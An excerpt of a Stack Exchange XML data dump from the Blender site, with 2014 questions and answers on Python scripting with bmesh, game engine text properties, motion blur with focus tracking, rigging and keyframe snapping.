  <row Id="14172" PostTypeId="2" ParentId="14164" CreationDate="2014-07-18T11:44:19.493" Score="9" Body="&lt;p&gt;Blender can't do this (easily), but it is possible to do this with OpenSource Photogrammetry software  (PPT and MeshLab) outside of Blender, then import the resulting model, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example, blog posts.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arc-team-open-research.blogspot.com.au/2012/09/converting-pictures-into-3d-mesh-with.html&quot;&gt;http://arc-team-open-research.blogspot.com.au/2012/09/converting-pictures-into-3d-mesh-with.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arc-team-open-research.blogspot.com.au/2013/04/scanning-skulls-to-forensics-with-ppt.html&quot;&gt;http://arc-team-open-research.blogspot.com.au/2013/04/scanning-skulls-to-forensics-with-ppt.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Tools:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://opensourcephotogrammetry.blogspot.com.au&quot;&gt;http://opensourcephotogrammetry.blogspot.com.au&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://meshlab.sourceforge.net&quot;&gt;http://meshlab.sourceforge.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Blender-Artists Thread (~2012):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?280309-opensource-3D-scaning-with-one-camera-blender-ppt-meshlab&quot;&gt;http://blenderartists.org/forum/showthread.php?280309-opensource-3D-scaning-with-one-camera-blender-ppt-meshlab&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-07-19T00:31:46.443" LastActivityDate="2014-07-19T00:31:46.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14173" PostTypeId="2" ParentId="14155" CreationDate="2014-07-18T13:33:15.737" Score="2" Body="&lt;p&gt;A text object gets it's own button to Add Text Game Property. This button produces the same effect as the normal Add Game Property with the type set to string and name set to 'Text'. This 'Text' property of the text object gives the ability to get and set the contents of the text object during game play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'Text' property can be accessed the same as other game properties, by treating the object as a dictionary and the property name as the key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a python script used as a controller that would normally be with -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;txtVal = own['Text']&#xA;own['Text'] = 'NewString'&#xA;own['prop'] = 25&#xA;own['prop2'] = 'a big long string'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other objects in the game can also be accessed -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sce = bge.logic.getCurrentScene()&#xA;sce.objects['otherObj']['Text'] = 'something'&#xA;sce.objects['missile']['prop3'] = 356&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Properties changed during game play only exist for the duration of the game. Values set in the Game Logic Editor will be in effect at the start of a game, with the 'Text' property being set to the contents of the text object set in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: response to your code example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While your debugging your scripts you will want to watch the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Window_system/Console_window&quot; rel=&quot;nofollow&quot;&gt;console output&lt;/a&gt;. It can contain hints as to why your scripts fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In python scripts formatting is important, the indentation defines separate parts of code. Not sure if any formatting got lost copying your code across but it appears you have a function and the following code might be meant to be part of that, if so that code isn't going to run unless you add a function call at the end of the script. For this small script you don't need any functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The all important last line, you are mixing strings and integers which you need to convert to work as you want. &lt;code&gt;int(strValue)&lt;/code&gt; will give you a number you can calculate with and &lt;code&gt;str(number)&lt;/code&gt; will then give you a string to use for the text value.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;sce = bge.logic.getCurrentScene()&#xA;&#xA;own = cont.owner&#xA;refillObj = sce.objects['Refill']&#xA;&#xA;refillObj['Text'] = str( int(refillObj['Text']) - (80- int(own['Text']) ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would appear that you may be trying to jump ahead of yourself. I'd recommend you spend an hour or so going over a python introduction tutorial to get more familiar with basic python concepts first. &lt;a href=&quot;https://docs.python.org/3.3/tutorial/index.html&quot; rel=&quot;nofollow&quot;&gt;The official python tutorial&lt;/a&gt; can be a good start, even if you only go over parts 3 to 6.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2014-07-20T09:28:48.893" LastActivityDate="2014-07-20T09:28:48.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14174" PostTypeId="1" CreationDate="2014-07-18T13:46:33.847" Score="1" ViewCount="1682" Body="&lt;p&gt;&lt;sub&gt;From another perspective: &quot;Focus tracking during exposure&quot;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, so this is probably pretty obscure, but it looks like the motion blur system in cycles isn't taking into account camera focus over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;em&gt;EDIT&lt;/em&gt;] Just to clarify, I'm using &lt;em&gt;motion blur&lt;/em&gt; to refer to the renderer integrating over time. I'm not asking about an image space selective blur or approximation, but a physically accurate render and effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't had any luck with either setting a moving object for focus tracking or setting keyframes in the distance field. In both cases focus does change correctly when moving between each frame, just not in a render with motion blur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Biid.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attempting to focus track a moving cube (with a static one for reference): &lt;img src=&quot;https://i.stack.imgur.com/W5Xoa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm doing wrong or is this on the todo list?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[&lt;em&gt;EDIT&lt;/em&gt;]&lt;br/&gt;&#xA;In regard to what this might be used for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Case 1. You actually want to integrate objects transitioning out of/in to focus such as in this photo: &lt;a href=&quot;http://www.reddit.com/r/itookapicture/comments/xt0wv/itap_of_fireworks_and_refocused_quickly_during_an/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Fireworks refocused quickly during an explosion&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There may be none or little actual movement for the motion blur but changing focus during an exposure can add interesting effects. Here, I'm use the name &lt;em&gt;motion blur&lt;/em&gt; to refer to integrating over time which is what the effect actually does, rather than literal blur from motion.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Case 2. You have a shallow depth of field (and still want the effect that gives), but you want motion blur of a subject moving perpendicular to the focal plane without the defocusing effects of Case 1. Tracking the moving object (with focus only and the camera remaining stationary) would give this effect. In doing so the background will not be blurry from motion, but may change focus a little.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-11-04T09:07:10.807" LastActivityDate="2014-11-04T09:07:10.807" Title="Animating the camera's focus during a render with motion blur" Tags="&lt;cycles-render-engine&gt;&lt;depth-of-field&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14175" PostTypeId="2" ParentId="14174" CreationDate="2014-07-18T13:56:22.290" Score="0" Body="&lt;p&gt;Because motion blur blurs everything if your camera is moving. Try adding motion blur via compositing by using the vector pass and blurring manualy. This way you can also create a mask to keep the cube sharp.&#xA;I hope this is what you where looking for!&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-07-18T13:56:22.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14176" PostTypeId="2" ParentId="14174" CreationDate="2014-07-18T13:56:31.563" Score="1" Body="&lt;p&gt;Motion blur is separate from Depth of field (camera blur). The object will only be more in focus if either the motion blur is turned down or there is less movement of the object relative to the camera.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-07-18T13:56:31.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14178" PostTypeId="2" ParentId="14151" CreationDate="2014-07-18T14:19:45.093" Score="5" Body="&lt;p&gt;I chatted and got an answer from someone on the #blendercoders IRC chat. They said that Blender does use single precision floating points. The GeForce cards are going to be the best choice for rendering because they do better at single points than doubles. The Quadro and Tesla lines wouldn't perform as well because they handle double point operations better than singles, and are mostly used in CAD and software that does scientific research. So, the best choice would be to go for the GeForce line because they perform better at single point operations which is what blender uses.&lt;/p&gt;&#xA;" OwnerUserId="5251" LastActivityDate="2014-07-18T14:19:45.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14180" PostTypeId="5" CreationDate="2014-07-18T14:45:18.347" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-07-18T14:45:18.347" LastActivityDate="2014-07-18T14:45:18.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14181" PostTypeId="4" CreationDate="2014-07-18T14:45:18.347" Score="0" Body="Motion blur is the apparent streaking of rapidly moving objects in a still image or a sequence of images such as a movie or animation. It results when the image being recorded changes during the recording of a single frame, either due to rapid movement or long exposure." OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-07-18T16:24:01.513" LastActivityDate="2014-07-18T16:24:01.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14182" PostTypeId="5" CreationDate="2014-07-18T14:47:29.467" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-07-18T14:47:29.467" LastActivityDate="2014-07-18T14:47:29.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14183" PostTypeId="4" CreationDate="2014-07-18T14:47:29.467" Score="0" Body="Depth of Field (DoF) is the distance between the nearest and farthest objects in a scene that appear acceptably sharp when using a lens based camera, although the term is commonly used to simply refer to the presence of unfocused areas." OwnerUserId="1713" LastEditorUserId="1713" LastEditDate="2014-07-18T16:23:40.877" LastActivityDate="2014-07-18T16:23:40.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14184" PostTypeId="2" ParentId="14162" CreationDate="2014-07-18T15:13:45.413" Score="2" Body="&lt;p&gt;The game engine uses &lt;a href=&quot;http://en.wikipedia.org/wiki/OpenGL&quot; rel=&quot;nofollow&quot;&gt;openGL&lt;/a&gt; to render the image on screen. This is the same technology used to draw everything in blender's window. While video cards are designed to accelerate time consuming parts of openGL it is still common to keep the vertex count as low as possible to allow updating the window enough to get smooth animation. &lt;a href=&quot;http://en.wikipedia.org/wiki/Glsl&quot; rel=&quot;nofollow&quot;&gt;GLSL shading&lt;/a&gt; (that's openGL Shading Language) is also often used to get nicer results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maps is a fairly general term that is used in reference to the texturing used in the game engine. There are &lt;a href=&quot;http://en.wikipedia.org/wiki/UV_mapping&quot; rel=&quot;nofollow&quot;&gt;UVMaps&lt;/a&gt; that 'map' a location on a 3D model to a location on a 2d image. You can use several images on a finished model that are often referred to as maps. A &lt;a href=&quot;http://en.wikipedia.org/wiki/Normal_mapping&quot; rel=&quot;nofollow&quot;&gt;normal map&lt;/a&gt; is an image containing details defining the 'surface distortion' this gives the appearance of detail that can cast shadows and highlights on the model without the extra geometry. A &lt;a href=&quot;http://en.wikipedia.org/wiki/Bump_mapping&quot; rel=&quot;nofollow&quot;&gt;bump map&lt;/a&gt; is a simplified method of normal mapping. A specular map is an image that defines what parts of the model are shiny. Similarly a &lt;a href=&quot;http://en.wikipedia.org/wiki/Texture_mapping&quot; rel=&quot;nofollow&quot;&gt;diffuse or texture map&lt;/a&gt; defines what diffuse colour is used at each part of the model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally detailed models are created and then the detail is 'baked' onto these different 'maps' to be used during game play on a low poly model. This lets you do all the costly calculations at development time to give the game engine less work rendering the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part the texture options available when using the blender internal render engine are available when using the game engine. You can see the differences when you switch between the two, such as limited transparency, no mirror or subsurface scattering when using the game engine.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-18T15:13:45.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14185" PostTypeId="1" AcceptedAnswerId="14186" CreationDate="2014-07-18T15:20:11.723" Score="3" ViewCount="2314" Body="&lt;p&gt;How do I scale or rotate the selected verts of a mesh using blender python?&lt;/p&gt;&#xA;" OwnerUserId="5243" LastActivityDate="2014-07-18T18:17:09.790" Title="Editing verts via script like in editmode: scale, rotate" Tags="&lt;python&gt;&lt;scripting&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14186" PostTypeId="2" ParentId="14185" CreationDate="2014-07-18T18:17:09.790" Score="7" Body="&lt;p&gt;Relevant sections of the api documentation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bmesh.html?highlight=bmesh.from_edit_mesh&quot;&gt;bmesh&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bmesh.ops.html#module-bmesh.ops&quot;&gt;bmesh.ops&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/mathutils.html&quot;&gt;mathutils&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# See Text Editor -&amp;gt; Templates -&amp;gt; Python -&amp;gt; Simple Bmesh Editmode&#xA;# This example assumes we have a mesh object in edit-mode&#xA;&#xA;import bpy&#xA;import bmesh&#xA;import math&#xA;import mathutils&#xA;&#xA;# Get the active mesh&#xA;obj = bpy.context.edit_object&#xA;me = obj.data&#xA;&#xA;&#xA;# Get a BMesh representation&#xA;bm = bmesh.from_edit_mesh(me)&#xA;face = bm.faces.active&#xA;&#xA;&#xA;# Modify the BMesh, can do anything here...&#xA;&#xA;# Rotate - (global)&#xA;center = bpy.context.scene.cursor_location&#xA;rot = mathutils.Euler((math.radians(45), 0.0, 0.0)).to_matrix()&#xA;bmesh.ops.rotate(&#xA;            bm,&#xA;            cent=bpy.context.scene.cursor_location,&#xA;            matrix=rot,&#xA;            verts=face.verts,&#xA;            space=obj.matrix_world&#xA;            )&#xA;&#xA;# Scale - (local) - no space matrix passed&#xA;scale = mathutils.Vector((2.0, 1.0, 1.0))&#xA;bmesh.ops.scale(&#xA;            bm,&#xA;            vec=scale,&#xA;            verts=face.verts&#xA;            )&#xA;&#xA;# Show the updates in the viewport&#xA;# and recalculate n-gon tessellation.&#xA;bmesh.update_edit_mesh(me, True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-07-18T18:17:09.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14187" PostTypeId="1" AcceptedAnswerId="14190" CreationDate="2014-07-18T19:42:57.160" Score="2" ViewCount="379" Body="&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B6oLZ_d7S-U7VWdoSkpiaEk0dFU/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Link to Video&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As my model walks along the path it gradually appears to have some degree of offset where the model will depart from the curve and won't rotate the precisely along the path where the curve seems to have 'many' of the black arrows squished together which you can see in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On further experimenting I was able to mostly solve the issue by deleting segments and enlarging the curve so there was less arrows and the remainder were more evenly spaced out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think part of the problem was that my mesh is fairly small so when I added the path it might have been over too small an area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to force it so that there is an evenly spaced out number of arrows that won't distort my path?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B6oLZ_d7S-U7UUxyOVVCVU1WY28/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Actually this one might be more obvious.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5263" LastEditorUserId="2217" LastEditDate="2014-10-02T23:54:05.997" LastActivityDate="2014-10-02T23:54:05.997" Title="Model Object appears to be gradually offset from path constraint" Tags="&lt;animation&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14188" PostTypeId="2" ParentId="14072" CreationDate="2014-07-18T19:55:58.183" Score="6" Body="&lt;p&gt;I have created an addon that will create a mesh cube that encompasses all selected objects. Of note is that non-render objects such as camera, lamp and lattice objects report there bounding box as a zero size cube, this can lead to a cube of zero size that is only seen in the outliner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use you can save &lt;a href=&quot;https://raw.githubusercontent.com/sambler/myblendercontrib/master/create_bound_box.py&quot; rel=&quot;noreferrer&quot;&gt;this link&lt;/a&gt; to your addon folder or to somewhere convenient and use the Install from file button in the preferences. You will then find Create Bounding Box under the Add Mesh menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will give you a single object that clearly shows the outer dimensions in the object properties as if all objects had been joined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAEmR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-18T19:55:58.183" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14189" PostTypeId="2" ParentId="14070" CreationDate="2014-07-18T20:09:53.283" Score="6" Body="&lt;p&gt;By using the addon I added to your &lt;a href=&quot;https://blender.stackexchange.com/q/14072/935&quot;&gt;other question&lt;/a&gt; you can create a bounding box that has the dimensions that you can easily export to a text file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to export an individual bounding box for each object you can enable the addon and run the following -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;startobjs = [o.name for o in bpy.context.selected_objects]&#xA;&#xA;for objname in startobjs:&#xA;    bpy.ops.object.select_all(action='DESELECT')&#xA;    bpy.data.objects[objname].select = True&#xA;    bpy.ops.mesh.boundbox_add()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As the addon names each bounding box with the name BoundingBox you can easily select just the bounding boxes (using select pattern in the select menu) and then export the selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kW84H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when you export turn on the selected only option available in most exporters. If your using your own script to export to text then loop over the selected objects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for obj in bpy.context.selected_objects:&#xA;    print(obj.dimensions.x)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2014-07-18T20:09:53.283" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14190" PostTypeId="2" ParentId="14187" CreationDate="2014-07-18T21:57:32.633" Score="1" Body="&lt;p&gt;The issue is caused by the fact that your origin is not correctly positioned. The animation you applied to your character causes it to move away from its origin, which is why its not working:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DjoRG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, make your characters walking animation stationary. I would also recommend using the &lt;strong&gt;Follow Path Constraint&lt;/strong&gt;, instead of parenting since it offers more control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix your issue I deleted the movement track in the NLA, and added a key for the correct position to the circle bone.&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2014-07-19T15:45:12.507" LastActivityDate="2014-07-19T15:45:12.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14191" PostTypeId="1" AcceptedAnswerId="24091" CreationDate="2014-07-19T00:00:42.737" Score="4" ViewCount="1288" Body="&lt;p&gt;I'm making an FPS game, and for some of my guns, i want to be able to zoom in so that i can see farther. This isn't the problem. What i really want is to make the rest of the screen (The part not looking through the scope) blurry so that it looks like the character is focusing through the scope.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want everything that is not seen directly through the scope to be blurred, for example, refer to the scopes of Crysis 3.&lt;/p&gt;&#xA;" OwnerUserId="5253" LastEditorUserId="5253" LastEditDate="2014-12-21T04:24:58.013" LastActivityDate="2015-02-01T18:12:32.833" Title="How to blur part of the screen in the game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;opengl&gt;&lt;blur&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14192" PostTypeId="1" CreationDate="2014-07-19T01:47:30.797" Score="2" ViewCount="137" Body="&lt;p&gt;Simply stated, I'm looking for the python operator for what the &lt;kbd&gt;P&lt;/kbd&gt; key does to selected objects in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm looping through edges like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.active_object&#xA;&#xA;for e in obj.data.edges:&#xA;    print(dir(e))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm attempting to find the e.magically_separate_from_object :D but cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually I'd find out how to do it through the window interface,but I can't find the window interface for &lt;kbd&gt;P&lt;/kbd&gt; either. &lt;/p&gt;&#xA;" OwnerUserId="5266" LastEditorUserId="29" LastEditDate="2014-07-19T07:33:49.603" LastActivityDate="2014-07-21T13:34:05.163" Title="How would I discover an operator's name?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14193" PostTypeId="2" ParentId="14192" CreationDate="2014-07-19T02:06:56.993" Score="3" Body="&lt;p&gt;If you right click on nearly any button, tool, or menu item in blender there will be a link to the blender python API for that button.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Gc4xj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;Link to &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.ops.mesh.html#bpy.ops.mesh.separate&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender python API&lt;/a&gt; for &lt;code&gt;bpy.ops.mesh.separate&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-07-19T15:39:28.427" LastActivityDate="2014-07-19T15:39:28.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14194" PostTypeId="1" AcceptedAnswerId="14251" CreationDate="2014-07-19T02:53:16.270" Score="1" ViewCount="1326" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5h6X6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first picture, I used the Second Life Avatar with skeleton and rigged a pair of test &quot;feet&quot; to the avatar. I was able to also transfer weights from the avatar to the &quot;feet&quot;. When in pose mode, everything moves like it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vjDk1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second picture, I again have the Second Life Avatar with skeleton and am trying to rig the foot we wish to use. I am able to parent it to the skeleton by selecting the object (foot) and the armature, press Ctrl P and choose Armature Deform with Empty groups. When I then click the object and the legs of the Avatar, I go into Weight Paint Mode and try to transfer weights like I did with my test &quot;feet&quot; and I get an error stating the source mesh does not have any vertex groups. I'm at a loss as to how to give it vertex groups while not messing with the preset weights and skeleton as these must remain the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I give my foot vertex groups so that I may transfer weights from the Avatar to the foot?&lt;/p&gt;&#xA;" OwnerUserId="5213" LastActivityDate="2014-07-22T03:02:43.667" Title="Rigging objects to Second Life Armature Issue" Tags="&lt;rigging&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14195" PostTypeId="1" AcceptedAnswerId="14197" CreationDate="2014-07-19T04:09:49.783" Score="4" ViewCount="3781" Body="&lt;p&gt;I opened up my project and everything was fine. But when I selected the keyframes, the yellow timeline thing would go over my keyframes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rz2JJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z2U2F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this even work!?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="3401" LastEditDate="2015-12-22T18:17:26.743" LastActivityDate="2015-12-22T18:17:26.743" Title="Can't select keyframes on timeline?" Tags="&lt;interface&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14196" PostTypeId="1" AcceptedAnswerId="14210" CreationDate="2014-07-19T06:31:27.500" Score="7" ViewCount="1322" Body="&lt;p&gt;first time here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alrighty, I'm quite new to 3D model design in Blender, but I have a little problem with my book model. The mesh is fine (I think). But there are a good few points where the text mesh goes wrong for some weird reason. If you need to know which version of Blender I'm using, it's Blender 2.69.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I apply the &quot;subdivision surface&quot; modifier and set the subdivision render to 2, the faces go in and deform in certain areas. As far I'm not sure what is wrong at this point. I've taken two pictures just in case you need them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j4WSM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NkVco.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take note that I'm still unaware of some certain tools and common knowledge in Blender, go easy on the in depth reasons and fix details. Just simplify it please :) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blend file :  &lt;a href=&quot;http://www.pasteall.org/blend/30527&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/30527&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5270" LastEditorUserId="696" LastEditDate="2014-07-20T13:42:24.887" LastActivityDate="2014-07-20T13:42:24.887" Title="What causes odd deformations when using Subsurf?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;&lt;topology&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14197" PostTypeId="2" ParentId="14195" CreationDate="2014-07-19T11:02:39.163" Score="8" Body="&lt;p&gt;A keyframe does not have to be aligned to a rendered frame. While that may sound a bit un-intuitive, a frame is a point in time, for example 24 frames in a second. A keyframe can define a value at any point in time not just on a specific frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is normally considered better to have keyframes aligned to frames to get cleaner animation results. To help with this the Dopesheet and Graph Editors can auto-snap when editing keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tMczQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having keyframes that aren't aligned to a frame means you moved the keyframes in the Dopesheet or Graph editor with snapping turned off. You can simply enable snapping and align them, if you enable snapping to nearest frame then select all the keyframes and start moving a little bit they will all snap to the nearest frame without destroying your animation.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-07-19T11:02:39.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
